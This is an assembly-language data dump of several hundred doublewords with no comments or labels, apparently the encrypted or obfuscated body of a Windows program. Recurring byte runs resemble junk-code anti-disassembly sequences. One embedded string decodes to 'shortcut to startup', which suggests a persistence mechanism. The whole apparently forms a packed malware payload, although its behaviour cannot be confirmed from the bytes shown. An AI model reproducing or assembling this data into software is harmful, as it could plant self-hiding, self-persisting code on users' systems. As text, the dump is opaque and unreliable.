		dd 7684D123h, 0A21901D1h, 42F14D03h, 0E9EE9D90h, 0AFB2EA12h
		dd 1B59A143h, 7B5C14FBh, 0FE0BA0F1h, 614F6371h,	0DF3999C4h
		dd 32187F1Fh, 29A65137h, 0C3E1D250h, 112EDB20h,	6817D796h
		dd 8DDB16DBh, 10377C8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 685E42BFh, 68EFC268h
		dd 5BC780C3h, 174D8D89h, 85C7060Bh, 60B0119h, 70E0h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 10C35646h, 12F24723h
		dd 8B5FDE05h, 0B012D9Dh, 985C706h, 60B10h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0E9E3C356h, 6, 1E94EB05h, 0B5FFD313h, 60B0105h, 95FF49B6h
		dd 60B0AC5h, 4F28166h, 0FF006A77h, 0B32DD95h, 0EBC08B06h
		dd 0FDAF4C2Ch, 0CE722809h, 0EBA5CC5h, 2D6DF3F7h, 5D3C0A1Eh
		dd 0D1DBB90Ah, 4C0E010Ch, 25392F7Fh, 7F08288Fh,	994CC8Bh
		dd 6C6D0051h, 33582018h, 3331C857h, 6D121001h, 47BB56C2h
		dd 77B30025h, 33290625h, 65740101h, 4EE1E2C2h, 3A81BAB2h
		dd 0EBB94637h, 0BF54E18Ah, 28F01D9h, 9B340F17h,	9EB60D05h
		dd 0BA320100h, 383C959Ch, 28FC307h, 33342B0Fh, 3343940Eh
		dd 33580801h, 3331EC57h, 6D120201h, 47BB5FC2h, 77B38425h
		dd 33294425h, 65742001h, 948591C2h, 359DC772h, 44E0852Ch
		dd 3C308DBEh, 33320083h, 56DB7901h, 59324000h, 30DA7101h
		dd 13321001h, 0BA6BCB58h, 0B236204Dh, 2E362645h, 72320101h
		dd 0CC564350h, 94655485h, 0CF3DF0D2h, 333217E9h, 662E1E01h
		dd 0A0673426h, 33368B0Eh, 8D540101h, 0A36C5E84h, 33324EE9h
		dd 9A332101h, 0CFC0B1FBh, 1314BCBEh, 0DB9936E5h, 3332020Ah
		dd 0B2F7448Ah, 19D658D6h, 0DB2C38EFh, 33322006h, 13F26428h
		dd 6C5BB0FFh, 0A3625F5Bh, 2B63BF88h, 323D070Ah,	59CCA44Dh
		dd 30DA1101h, 13322001h, 0BA6BD358h, 0B2362C4Dh, 2F362045h
		dd 72320201h, 1436C250h, 0FACE84C8h, 814B5A92h,	0F3B17802h
		dd 3BB9E52Dh, 7BB96EFDh, 0E4B962FDh, 50B8367h, 0A9B60EFEh
		dd 0DA328001h, 3332400Ch, 1D283649h, 0B856E9E3h, 898940B2h
		dd 0B0C08F92h, 33580BC0h, 3331E950h, 6A128001h,	7FBB19C2h
		dd 77B32425h, 332A1425h, 62730801h, 0B0559BC2h,	36DBE430h
		dd 98320101h, 3ECDA349h, 0AB2988Ah, 6EB72FE8h, 18321001h
		dd 3824ADB4h, 32738F07h, 0E2C18367h, 0B0FA028Ah, 335885C0h
		dd 3331A854h, 6E122001h, 5FBB4DC2h, 77B30C25h, 332A0025h
		dd 66770201h, 72AF54C2h, 8E396FD7h, 35394318h, 369FBD28h
		dd 0AB3160Ah, 0B8714391h, 3320810Eh, 843D0201h,	0E4BF8CFEh
		dd 8B348B4Ch, 33324002h, 0D2CDA9B7h, 728F9B60h,	0BE340306h
		dd 2305A9BCh, 84BF8F07h, 8B341138h, 32A00375h, 3693C532h
		dd 0FC19260Ah, 335820C0h, 3331C857h, 6D121001h,	47BB56C2h
		dd 77B30025h, 33290625h, 83740101h, 0A4F305E9h,	6AC08Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0E9E589C3h, 0B0D2991Fh, 0EE8h, 6A8AE700h, 9047214Bh
		dd 1F8F5A8h, 60078042h,	2F359D8Bh, 8166060Bh, 61C4A2C7h
		dd 8DC38B5Ah, 103B188Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 781AB004h, 0A2E360EAh
		dd 9D09B975h, 60B1949h,	174D8D89h, 6A060Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0DA3AAEC3h
		dd 858BF5C0h, 60B1771h,	11985C7h, 5A80060Bh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0E11C62C3h, 81EBC065h, 0B58902BDh, 60B0721h,	100985C7h
		dd 60Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h,	44810424h
		dd 1D0424h, 53430000h, 0F171BCC3h, 0B3B5DD5Eh, 0F85AFEB2h
		dd 1F8DB5FFh, 6A060Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 8B9ED2C3h, 0B02B9B5h, 0C595FF06h
		dd 29060B0Ah, 0B1A098Dh, 0FF006A06h, 0B32DD95h,	0EBC08B06h
		dd 64287B3Ah, 6EA445C8h, 0D56F3C9Ch, 974E75F9h,	0CE10A656h
		dd 5302C33Bh, 11E924Ch,	0CB42BA28h, 0EF90E48Eh,	53CF4716h
		dd 0CCBAAAEBh, 0D197BF95h, 921481B0h, 4AB1CC16h, 8D855F1Dh
		dd 103C208Dh, 89D5B406h, 0B174D8Dh, 0C5850106h,	0C7060B1Bh
		dd 0B011985h, 73A006h, 198D2900h, 0C7060B24h, 0B100985h
		dd 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 1B04EE7Eh, 89584FE4h, 0B0E699Dh
		dd 0EE906h, 7E230000h, 6140DD8Bh, 0A1464217h, 8153ED86h
		dd 2705B5FFh, 6A060Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0EE3F34C3h, 8936A33Bh, 0B31959Dh
		dd 0C595FF06h, 6A060B0Ah, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0C034C353h,	8B1328E0h
		dd 0B12AD95h, 0FF006A06h, 0B32DD95h, 0EBC08B06h, 0F9C4416Bh
		dd 0BA397A66h, 0AE8A9379h, 29AF5801h, 0DCC28FDFh, 0F281C1Bh
		dd 57830D44h, 38CECF0Ch, 67E4B3E7h, 0B215088Eh,	1AA6B020h
		dd 0EBEE2F9Eh, 0C3966507h, 13C8526Fh, 0EF2F45D5h, 0CDEE79FFh
		dd 0ABD4755Fh, 667826FCh, 0EEC0C2CBh, 4898E336h, 5D64DB66h
		dd 30BA06E2h, 0B7FFCD0Eh, 0D8B94945h, 25BB99E6h, 0F0E90CB9h
		dd 3775A810h, 12E8h, 72117200h,	9554E1DDh, 9BFB40F7h, 0FB683753h
		dd 56F74023h, 5ACE8B66h, 259D295Fh, 81060B0Bh, 61B1C7h
		dd 0CE86000h, 86000000h, 2148896Bh, 0B02CB26h, 89E52C90h
		dd 0B018995h, 0BD8B5A06h, 60B0509h, 0B861h, 8B660000h
		dd 3834FFD0h, 81CA8B5Eh, 0CE02F9EEh, 812BB610h,	2934B0EEh
		dd 0D081604Ah, 600BEF01h, 79F68161h, 8B2C1D30h,	0B0BF18Dh
		dd 7348906h, 7B6A75B9h,	9E825h,	57500000h, 0AB9B7353h
		dd 0E9A5EF35h, 0Eh, 0E156C18h, 4E315B18h, 0ACF4A49Bh, 815BF058h
		dd 0E8F0E7E8h, 499D010Ch, 81060B2Bh, 0E8F0E3C0h, 12E90Ch
		dd 8D7E0000h, 7D2FC3D6h, 2EADCB77h, 66D37DB3h, 0BA4332ACh
		dd 9F54F881h, 850FFFFFh, 1Eh, 4398D8Bh,	2BE9060Bh, 0E5000000h
		dd 0A14268E8h, 0B942106Ah, 851FC5E3h, 0C4AC008Ah, 8D8BBEFAh
		dd 60B3389h, 0FFFF50E9h, 0CD346DFFh, 50B7243Dh,	9AE082D0h
		dd 0AD332887h, 0ED22A23Fh, 3F9D8F7Fh, 920C34FFh, 90B61B15h
		dd 2B913749h, 0AE4447F4h, 268FE349h, 342732F2h,	0ED2261A4h
		dd 2DD0314Ch, 18EFBBF4h, 0A03339DEh, 20292869h,	769ECDF2h
		dd 0FC1BB1ACh, 2D5539DDh, 7EF92580h, 2DD0314Ch,	18EFBBF4h
		dd 0A03339DEh, 202A3B69h, 769ECDF2h, 7AA658ACh,	2D53311Ch
		dd 0EEF612F4h, 9A8BBABh, 92EB3F0h
		dd 2D352EF0h, 0EECD75F4h, 3287DF33h, 63F79D44h,	2D5ADB8Fh
		dd 2E832F4h, 65CE529Fh,	24B7B7ECh, 2635BB79h, 475AB9F2h
		dd 2EA560F4h, 0DA632F4h, 0A409F1AEh, 0ACAD16A0h, 39D016B0h
		dd 6F6A32F4h, 2EA0F1A6h, 26B09349h, 0F5C154F2h,	3E138FF7h
		dd 29FB34FFh, 29E7B6FBh, 2DBE32F4h, 2D69DAA3h, 721532F4h
		dd 51136D37h, 69CC36D0h, 2DBA36D0h, 7A1432F4h, 0E7283C37h
		dd 641926Fh, 90E93A7Dh,	2B3E3CC5h, 6D1E3DF4h, 474D32F4h
		dd 2E4E62F4h, 0D5332F4h, 0A4F1F1ACh, 0ACD016B0h, 3A6E16B0h
		dd 6D3532F4h, 0A739F1A4h, 0B8C612AAh, 2BAD1F09h, 2D50C11Dh
		dd 2DB8DBF4h, 75332F4h,	929DC8DBh, 0BCF872EDh, 52F8291h
		dd 9357F2DAh, 2FA615F4h, 362AAFFDh, 0E22934FFh,	0F751BF67h
		dd 476C3C84h, 2EDD65F4h, 0D9A32F4h, 0A412F1ABh,	0ACA21688h
		dd 365716B0h, 6AA932F4h, 594EF1A3h, 7DF96D0Fh, 98BC7DE8h
		dd 2B912135h, 0A0C6E20Bh, 2BAD349Dh, 0A95CF271h, 2DA93210h
		dd 2DD4231Dh, 5C90EBF4h, 0B151DED3h, 0F417E1C6h, 3A4BFB9Dh
		dd 15279D65h, 0D6D254A3h, 2D84B7FBh, 0ACB232F4h, 2F68368Ch
		dd 2E48B6FBh, 2DF032F4h, 2D4EDAA6h, 778632F4h, 79DA6837h
		dd 692836D0h, 2DCD36D0h, 7F2832F4h, 0F6F10937h,	4B026C06h
		dd 4DD10A75h, 2D2CB7FBh, 2D3932F4h, 2DAADAA5h, 74F432F4h
		dd 61E36B37h, 69B436D0h, 2D8F36D0h, 7C0C32F4h, 0C5619E37h
		dd 2D5332E4h, 2D90D2C3h, 5F4F9EB1h, 0BA23999Bh,	8987635Fh
		dd 3F3BBF7Fh, 0A41434FFh, 2696D769h, 2F2BB2F2h,	6C2C3D1Ch
		dd 47D432F4h, 2E8263F4h, 0D3532F4h, 0A4C3F1ADh,	0AC4916B8h
		dd 35A216B0h, 6C5332F4h, 39DBF1A5h, 4B2AC981h, 4B064E4Fh
		dd 2D334A75h, 3C1F3D5Fh, 44D32F4h, 26A7A769h, 2F9EDBF2h
		dd 0A82032F4h, 2BDF1345h, 2C6B324Ah, 4BE4B9B2h,	0C0B3D875h
		dd 5D97B779h, 234E34FAh, 195332F4h, 0A495440Dh,	1E259E8Fh
		dd 94AFDF8Ch, 498C6D98h, 0D2B7F37Fh, 10F01B24h,	0A8A039FDh
		dd 5CD73D34h, 47A932F6h, 2E3C60F4h, 0D6A32F4h, 0A46FF1AEh
		dd 0AC9E16A0h, 344916B0h, 6FA632F4h, 4AC4F1A6h,	0B4EC35FFh
		dd 1C81A77Dh, 90E334FFh, 2B3E304Dh, 10FC0A75h, 0A84230F6h
		dd 2DA632B4h, 0C502329Eh, 2DA932F7h, 74176BD4h,	294E7E7Dh
		dd 29117675h, 2D9A32ECh, 0DA8E63B5h, 0B551CFD1h, 518AB392h
		dd 0AC7AB9BFh, 10B2348Ch, 0A96548ABh, 2D3530EBh, 3DB3AF7Fh
		dd 0A8C434FFh, 2BAD1BCDh, 0B16BB392h, 0BC2C3D94h, 47D432F4h
		dd 2E8265F4h, 0D3532F4h, 0A4C5F1ABh, 0AC491688h, 3BA216B0h
		dd 6A5332F4h, 77C7F1A3h, 0B03FB219h, 7CF8F7Fh, 55B534FFh
		dd 0A895DAF6h, 2D4D3294h, 0C5F6329Eh, 2D5332F7h, 756A6AD4h
		dd 29F0767Dh, 294E7675h, 2D3532E0h, 0E75962B4h,	0B0C4C143h
		dd 2BAD33ADh, 2B2BB392h, 0A8A6F2F4h, 2DD432C4h,	5CFB77Dh
		dd 0B1DC34FFh, 479A32F5h, 2EA563F4h, 0DA632F4h,	0A40AF1ADh
		dd 0ACAD16B8h, 38D016B0h, 6C6A32F4h, 53D9F1A5h,	740F33A7h
		dd 764B39C5h, 2CA7324Ah, 618DB28Ah, 5D73B779h, 0A85D34FAh
		dd 2B6128B5h, 2D5FE20Bh, 2D99DAA5h, 746D32F4h, 612F6B37h
		dd 69D236D0h, 2DB136D0h, 7C9532F4h, 0B6035937h,	9A3A46EDh
		dd 225AB70Eh, 2D4C2970h, 7FA658F4h, 2D53311Ch, 0EEF312F4h
		dd 980BBAEh, 92EB3F0h, 2D352BF0h, 0EEC870F4h, 5F3DAF1Eh
		dd 0C5F7DF92h, 2D5332E6h, 53BEBF0Dh, 74C24BE3h,	0FCAFA786h
		dd 6D2B7142h, 4CFA16ACh, 15CD6BAEh, 57233D1Ch, 475332F4h
		dd 2E4160F4h, 0DD432F4h, 0A430F1AEh, 0AC3116A0h, 399E16B0h
		dd 6F4D32F4h, 0AD73F1A6h, 2220378Ch, 2DA96671h,	7CD458F4h
		dd 2D6A311Ch, 0EE6C12F4h, 9D6BBADh, 909B3F0h, 2DA624F0h
		dd 0EE0273F4h, 0A71428FBh, 2AACB23Eh, 8DEE3DA7h, 473532F4h
		dd 2E7264F4h, 0D4D32F4h, 0A4F8F1AAh, 0AC571680h, 31AD16B0h
		dd 6BD432F4h, 757BF1A2h, 0FF420CEBh, 0A4E9AB5Ah, 264D2349h
		dd 152754F2h, 0A85C377Bh, 2DA932A4h, 45D24A74h,	2D2CB7FBh
		dd 2D5F32F4h, 2D99DAA7h, 766D32F4h, 712F6937h, 69D236D0h
		dd 2DBD36D0h, 7E9732F4h, 0A165C437h, 2D3532F9h,	401F3194h
		dd 4B4B39DDh, 83CAFB75h, 55D25495h, 228CCDFFh, 2DD43971h
		dd 0F4E7BBF4h, 0C43339DEh, 2D9A32EFh, 2D4D324Ch, 0A82F65F4h
		dd 2B582B4Dh, 2D8EDBAFh, 0B85F32F4h, 2B612A55h,	95FEB992h
		dd 2D9A32F5h, 2D4D381Ch, 0A2DCB6F4h, 720136C3h,	0A6DB5B54h
		dd 26C14369h, 9A6568F2h, 0A23A6226h, 2D9A32F6h,	29C47F45h
		dd 2F213DD0h, 0A65332F4h, 0B314BF0Eh, 0A0D222C9h, 3D292F79h
		dd 78168AF2h, 0A8994592h, 2B4620B1h, 324AFDDFh,	0B28A2CA7h
		dd 0B779618Dh, 34FA5D73h, 28B5A85Dh, 0E20B2B61h, 0DAA52D5Fh
		dd 5E98399h, 8B58A4F3h,	0B11398Dh, 8D035206h, 60B18E5h
		dd 0FC00B5Ah, 6784h, 0E3816600h, 0B58DC3B4h, 60B4DD7h
		dd 3B8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0E9B4F912h, 0Dh, 416102F9h, 7B4BB4B2h
		dd 0AB3B3636h, 6AE6FF95h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0EC7BC352h,	375C3058h
		dd 32A2BF66h, 698D8940h, 0F8060B29h, 12E9C08Bh,	17000000h
		dd 0DCFBA3EEh, 0E680DBC2h, 75F47B71h, 0C4BEADDBh, 0BDBD833Ch
		dd 60B05h, 0BD830975h, 60B29D1h, 50197400h, 0B8C08B53h
		dd 403h, 12998589h, 9D8D060Bh, 60DB381h, 585BD3FFh, 29D1BD83h
		dd 7400060Bh, 0B8535017h, 403h,	12998589h, 9D8D060Bh, 60DB022h
		dd 585BD3FFh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 14h,	0EFC35141h, 0C2DBD29h, 8D8B060Bh, 60B056Dh, 0DD8AC08Bh
		dd 3800Fh, 0BF0F0000h, 0CE861DEh, 0F3000000h, 0D44A1EEDh
		dd 43BFE176h, 8BA397B1h, 0ACB958CBh, 81144355h,	5A75C0h
		dd 0FFB70F00h, 166C68h,	0A58D8B00h, 5E060B13h, 68C0Fh
		dd 0D7810000h, 0C8777C2h, 9D8B30FFh, 60B18BDh, 0B529605Ah
		dd 60B2EE9h, 0EA8161F8h, 40E53760h, 83C281F5h, 8123C3DAh
		dd 0E8DB2EE7h, 78EA8161h, 6645A39Ah, 3B1EDB81h,	0DEBF0F52h
		dd 0E883008Fh, 69BF6601h, 4848481Dh, 2E850F4Eh,	0E8000000h
		dd 9, 758E8A73h, 0C1B25C3Dh, 19D8B2Eh, 59060B1Ah, 33E9h
		dd 84F19700h, 7EFFBE16h, 0EB56D24Fh, 0E895B7CFh, 2047F138h
		dd 0F99D8B7Fh, 0E9060B0Ah, 0FFFFFF80h, 4BBC5773h, 0F5E36963h
		dd 14EFFE41h, 2E6E86D0h, 7E3EF4EEh, 0D4712ADEh,	0DC4B46D4h
		dd 0C8557F01h, 98525CD4h, 0A90B3363h, 982633A9h, 5E265AF1h
		dd 930E76EFh, 0B44E6033h, 67A5E4FFh, 933566F8h,	80A3BEA0h
		dd 67203D2Eh, 79A3BA79h, 1B2038D6h, 930126D7h, 1D293333h
		dd 98263383h, 0DD1EB6C0h, 157635B6h, 886319D6h,	0DD963AFh
		dd 9E2D3135h, 98266483h, 15235935h, 8863091Fh, 1DAB634Bh
		dd 9E36768Ch, 81B3CC03h, 932038ACh, 0A1A23C14h,	1526336Ah
		dd 886309B0h, 0AACE639Ch, 0D826334Dh, 0D8A3BEF6h, 0C8202316h
		dd 0DD1CB624h, 677635C4h, 93263EFFh, 94E2B033h,	0DD1CB617h
		dd 1576355Dh, 88631923h, 0DD96355h, 9E2D3148h, 9826513Dh
		dd 74AD666Ah, 0CE746464h, 0AB2E4E11h, 9824DA8Dh, 0DF6633A6h
		dd 97260CD3h, 67D9C62Ch, 13EF002Bh, 0B2CF3B17h,	0AB263335h
		dd 1831B948h, 68AD03A7h, 5AAD63E8h, 982C8800h, 9BCF33A9h
		dd 6F2633D4h, 66A57D89h, 6CA13C35h, 0C3D9CC65h,	0DF7EFB4Eh
		dd 97E638EEh, 67D9FDD6h, 0C6E7B856h, 517F6C8Eh,	152637A8h
		dd 88631B88h, 0C5ABBE9Ch, 2020230Bh, 93h, 71E7FC78h, 0D0073102h
		dd 4C783C8h, 0F2850F49h, 8DFFFFFFh, 10465DB5h, 7C8D8D06h
		dd 2B061046h, 5E983CFh,	6E8C88Bh, 0EE000000h, 9888F2D5h
		dd 69BD89F7h, 5A060B17h, 5B99D89h, 0C281060Bh, 6369h, 1FFD8D89h
		dd 0A9BB060Bh, 29000018h, 0B03B9BDh, 0B032FF06h, 9D895EABh
		dd 60B3339h, 566AF681h,	8C0F2BC3h, 5, 73CF8166h, 0D0EE81D8h
		dd 0E930DAE7h, 0Bh, 0B2D02092h,	4516BD2Dh, 812F8F62h, 29359CC6h
		dd 9E832h, 35DC0000h, 0F859EC6Ah, 8B12B395h, 0B206D8Dh
		dd 32895806h, 68C0Fh, 85010000h, 60B1A75h, 9A4CEA81h, 0D4803563h
		dd 48C28196h, 8B35639Ah, 0B016585h, 850F4B06h, 10h, 1E9DBD89h
		dd 1DE9060Bh, 1F000000h, 171AE926h, 18D98166h, 0FF6FE9B7h
		dd 1203FFFFh, 3432EF2Ch, 79C69D38h, 7E3A8A17h, 482F8D8Dh
		dd 870F0610h, 3, 89D7D780h, 0B174D8Dh, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
		dd 9BCEB098h, 22618524h, 27699501h, 85C7060Bh, 60B0119h
		dd 637Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	68C35343h, 11B8D620h, 45622B78h, 22DB589h, 8B0F060Bh
		dd 12h,	0DE9h, 4CF16F00h, 0E2F58A48h, 367380EEh, 85C74ADEh
		dd 60B1009h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0D0C35141h
		dd 5B5132FAh, 0B5FF3958h, 60B1A31h, 0AC595FFh, 840F060Bh
		dd 6, 51BD01h, 9E9060Bh, 0A2000000h, 679504D0h,	49DD0A99h
		dd 95FF006Ah, 60B32DDh,	5DEBC08Bh, 9CD20DADh, 0CE196560h
		dd 0E8480A62h, 93537775h, 1388F3C4h, 0E5AA5C95h, 0D0CC078Ch
		dd 4AF0E38Eh, 473C3416h, 17A82285h, 94C80DF3h, 0D88D2005h
		dd 59B6B75Ah, 0FF170D2h, 8723D017h, 0CEEAE65Bh,	0DD43CBEDh
		dd 0E6E444C8h, 9C02C26Dh, 2A1BE2B0h, 950265FBh,	0BECEBD15h
		dd 5C09E9E7h, 536CEBDEh, 74726F68h, 20747563h, 73206F74h
		dd 74726174h, 7075h, 13h dup(0)
		dd 6C000000h, 110DADAh,	0E9000000h, 1073h, 104AA468h, 0FA27E906h
		dd 0BB68FFFBh, 0E906104Bh, 0FFFBFA1Dh, 104DA368h, 0FA13E906h
		dd 0E568FFFBh, 0E906104Dh, 0FFFBFA09h, 104EE168h, 0F9FFE906h
		dd 6C68FFFBh, 0E906104Fh, 0FFFBF9F5h, 1053E668h, 0F9EBE906h
		dd 0A168FFFBh, 0E9061056h, 0FFFBF9E1h, 1057AD68h, 0F9D7E906h
		dd 95EAFFFBh, 50AB4E39h, 0F6E8976h, 0C92DC8B7h,	87E702CDh
		dd 0A24F400Fh, 0AF1876F6h, 0EC5B33B4h, 2897EF09h, 68D7AFCDh
		dd 0BD429583h, 0DA7BADA5h, 7351A0D7h, 9D5D1BE0h, 3C03875h
		dd 826592ECh, 9AF4756Ch, 344B8870h, 8B4CFE5Ah, 0AEAE1975h
		dd 0E88EDB98h, 5D86E881h, 759D89D0h, 90BF1BE7h,	7BFCC41Ah
		dd 0D4598A04h, 3F759D89h, 9D896734h, 8E8C8C75h,	113B93D5h
		dd 0B7914D29h, 8A8558ACh, 0E44F4D4Fh, 6F928417h, 660DC3Ch
		dd 2F0412C0h, 0D02E2810h, 23ED1AF6h, 7EFA7Dh, 0EFDB6CF7h
		dd 7FF56F92h, 57CE358Ch, 3351BC0Dh, 66000000h, 0A19F637Bh
		dd 8A7436B6h, 5E89E74Fh, 6F9232D1h, 33ED1AE6h, 418A5DCFh
		dd 6B6F9234h, 68D32695h, 0ACBC0E17h, 4B337A6h, 0B8473E90h
		dd 0B24Fh, 9B516800h, 51D3F708h, 2CF162EFh, 4B759D81h
		dd 9EC1BF7h, 0EE719BF3h, 411A308Eh, 26B9532Bh, 0F601CEC8h
		dd 759D7D70h, 0E7502E4Ch, 0C112EE0Ch, 759D7C3Ch, 0E10BE75Bh
		dd 8BE54D91h, 8A91C458h, 0FE49B14Fh, 0AA24459Eh, 69D1159Dh
		dd 7F69240Fh, 0EA564984h, 5B334B8Ch, 95F109ECh,	59F5105Fh
		dd 8845E7E4h, 0E08h, 14E3DB10h,	4F3896D1h, 8E795594h, 0C8B70F6Bh
		dd 6F1CD2Dh, 0BC3CE809h, 79F275C2h, 35B7B21Dh, 0F50BEE59h
		dd 5BC52E99h, 0ADA70388h, 6699107Bh, 0ED5A34B4h, 0D9A6B1EFh
		dd 0FE759D5Ch, 5CCA5780h, 11E9759Dh, 91EF8AB5h,	7B534A35h
		dd 43A19F63h, 0FE6C6A80h, 0EA62F502h, 0E74F8A73h, 0C33A3D1Bh
		dd 4EF921CBh, 33A02982h, 0CACA6F92h, 6996F009h,	7BFC2893h
		dd 0B56587FFh, 17BC278Ah, 0CD6FBC0Eh, 8000000h,	7E5836B4h
		dd 0EFFA02E8h, 30DF8126h, 2BA3DB9Ch, 90EE0ACDh,	0C402A567h
		dd 0F8759E1Ch, 0B8BB0482h, 901DC642h, 0A7759E1Bh, 454DFF5Bh
		dd 0E97F59A1h, 7CFD66E3h, 3E30E802h, 3EC944B2h,	0FCF9955Eh
		dd 1CFC4F8Ah, 0C9C52122h, 76F1CF3Eh, 8D6D9FF7h,	691162BBh
		dd 0CA751690h, 0DA34FEE0h, 84A88909h, 4AA49449h, 0E6116D89h
		dd 0B10D6DE6h, 6FE8C6C6h, 0E0ADB610h, 0C36984C8h, 5D597842h
		dd 6FA004Dh, 26D1ADCDh,	91532B43h, 0E459B3E0h, 0F1B89537h
		dd 0F00000Ch, 0C82B94F2h, 8366D1ADh, 42A5126Ch,	4DFA826h
		dd 301DEAE4h, 0FBD32BFFh, 3690E90Ch, 724CAE49h,	0B20C6285h
		dd 0E7702CC5h, 7BADA81Ah, 0B40D7039h, 0AED5A34h, 362D9AF4h
		dd 6A3236B4h, 0C3489BC7h, 0D0759D69h, 0EB72E668h, 9764CF29h
		dd 0BC759D86h, 0F14AE05Ch, 7EB4037Bh, 687EE868h, 24135D6Bh
		dd 49C56E48h, 4C4F8A77h, 44955ECCh, 6E6F9238h, 65CE2396h
		dd 51BC0E13h, 0D17E5896h, 1164h, 41CE7100h, 0CE000009h
		dd 5CBA4790h, 61D9759Dh, 9651EFD6h, 6ED27856h, 2D15C9E1h
		dd 9DF970F3h, 3896D46Fh, 0C5722E12h, 588BE9C7h,	759D5CD3h
		dd 64EF18E0h, 4F8A73F4h, 0E4C80BD9h, 34EF7D93h,	0BCCB258h
		dd 0EE719BF3h, 0AB54308Eh, 0FAD4B2C8h, 6587FF79h, 589B8AB5h
		dd 0D886A422h, 3175A12h, 96A15FB0h, 0B60F20C3h,	8477E9E6h
		dd 6D45CA00h, 0C06A649Bh, 2237D618h, 48A641CEh,	0C2DA104Eh
		dd 0E9E5063Bh, 0B2499F43h, 8B854B3Bh, 836010DDh, 0FE79E817h
		dd 2F280680h, 864AF5D1h, 4E279D2Dh, 2C9F9508h, 18E7DF1Dh
		dd 0C9279FDDh, 0B0332B03h, 0DE69B416h, 718B4C32h, 0CB1FEA15h
		dd 0AF084DD6h, 49A7C209h, 967824Dh, 5590538Dh, 0E06FD379h
		dd 0DF82642Ch, 0B00B219Dh, 4CAC5E38h, 9DA3490h,	0E23AF5D9h
		dd 88B74C4h, 0A02BB3AEh, 76F64D49h, 520EF218h, 0CCDFE374h
		dd 61FADC2Fh, 0F32D8905h, 521D4D7Dh, 0E900E4D0h, 70631EDh
		dd 26DD7ADCh, 52A8AB1Eh, 0FFE7CB74h, 9BE1AEB9h,	0AF61E26h
		dd 4BE770AEh, 4EF813B5h, 75E94F2h, 856DD414h, 555DEF18h
		dd 0F94FA991h, 66825100h, 0C81EC268h, 7D8AE2F3h, 85BD41Fh
		dd 9240F20Dh, 0FB13BB4Ah, 0F02E8AEBh, 329DF977h, 7DDB937h
		dd 3BD20E5Ch, 93C19B3h,	1700000Bh, 0D013FCDAh, 0AB4E3995h
		dd 6A8D7A54h, 2CC7B00Eh, 805F2CCh, 0C3BB33E7h, 1E78F174h
		dd 5A34B6B1h, 9AF40AEDh, 8F58C42Dh, 7BADAA02h, 0B4659811h
		dd 0C6C03F36h, 36BBE86Ah, 0B852D841h, 0AC75Dh, 0A21C5100h
		dd 0FFD712D5h, 3896D510h, 7650944Fh, 0B00E6E89h, 7D29C6C7h
		dd 333681FDh, 0F073DCBAh, 0B4AF1876h, 7AEF5836h, 0AA44C91Ah
		dd 5E537BADh, 5836B427h, 0F40BCCB2h, 7F88709Ah,	5F8884E4h
		dd 759D5CD2h, 43BD19E1h, 5D2DF265h, 0F64A759Dh,	79FADA49h
		dd 0B56587FFh, 5D03885Bh, 2810759Dh, 0A79A241Fh, 1E15913Fh
		dd 5FC528C2h, 8E5285E3h, 0AB4F8B37h, 5298F857h,	2B83F35Ah
		dd 5A2DDAF2h, 844D3B16h, 2F4E11D5h, 0E945B557h,	5796518Fh
		dd 0A905D07Fh, 7087C232h, 0FB7E75F7h, 0B2052783h, 71A9433Bh
		dd 4AB66A95h, 240ED0A0h, 0F6BECCAh, 44FD88B7h, 3B81BB75h
		dd 488BE9C7h, 5E9F5432h, 0E916CA60h, 0B896F00Eh, 41565CB2h
		dd 4CFBAC82h, 464FFDDh,	0A20115E0h, 0DE963BAh, 0E7096702h
		dd 135AD989h, 3896D52Fh, 0F1722E12h, 33EF1D79h,	52FA9D57h
		dd 7B11AC22h, 9CB9Ah, 0BE185500h, 0FBD316D1h, 3492E90Ch
		dd 724CA84Bh, 8C0A6285h, 7125CAC3h, 37329DF9h, 0F46FD8B6h
		dd 48AB1472h, 6EB5432h,	0AB40CD16h, 5A577BADh, 5836B423h
		dd 0F7CF29B2h, 5CD0FD08h, 0CD11759Dh, 0AFC80B65h, 3AC535D7h
		dd 0D51E7C5Ah, 759D5D48h, 39C6116Fh, 5E759D5Dh,	6EF906E2h
		dd 4F8D152Ch, 64FFD921h, 0C13F8806h, 9D03CE0Bh,	0E413DA72h
		dd 0B593EB01h, 0B05F37B2h, 0AB235B1Ch, 0C2BC3E81h, 52147700h
		dd 11EC9EDEh, 940h, 5C2BA3D8h, 97605E99h, 0D6A11D5Ch, 10FFD713h
		dd 4E3995D5h, 84E4B041h, 41BABD0Ah, 0FD7FFA45h,	0BD333681h
		dd 83FD76C1h, 0ADABCB50h, 0BEA1E87Bh, 0B25836B4h, 51FBD329h
		dd 52EFDA52h, 0DAD5A21Ch, 0B602ED71h, 5CF32h, 637BC300h
		dd 96180F8h, 1B75D18Dh,	8D15CEC8h, 17FC34Fh, 0BBACA8C6h
